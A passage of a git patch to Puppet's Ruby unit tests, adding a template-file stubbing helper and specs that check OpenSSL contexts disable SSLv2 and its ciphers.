     @tw.instance_variable_get("@one_").should == "foo"
   end
   end
+
+  def given_a_template_file(name, contents)
+    full_name = "/full/path/to/#{name}"
+    Puppet::Parser::Files.stubs(:find_template).
+      with(name, anything()).
+      returns(full_name)
+    File.stubs(:read).with(full_name).returns(contents)
+
+    full_name
+  end
 end
diff --git a/spec/unit/util/monkey_patches_spec.rb b/spec/unit/util/monkey_patches_spec.rb
old mode 100644
new mode 100755
index b0f61c8..2495336
--- a/spec/unit/util/monkey_patches_spec.rb
+++ b/spec/unit/util/monkey_patches_spec.rb
@@ -4,4 +4,14 @@ Dir.chdir(File.dirname(__FILE__)) { (s = lambda { |f| File.exist?(f) ? require(f
 
 require 'puppet/util/monkey_patches'
 
-
+describe OpenSSL::SSL::SSLContext do
+  it 'disables SSLv2 via the SSLContext#options bitmask' do
+    (subject.options & OpenSSL::SSL::OP_NO_SSLv2).should == OpenSSL::SSL::OP_NO_SSLv2
+  end
+  it 'has no ciphers with version SSLv2 enabled' do
+    ciphers = subject.ciphers.select do |name, version, bits, alg_bits|
+      /SSLv2/.match(version)
+    end
+    ciphers.should be_empty
+  end
+end
-- 
1.8.1.1

openSUSE Build Service is sponsored by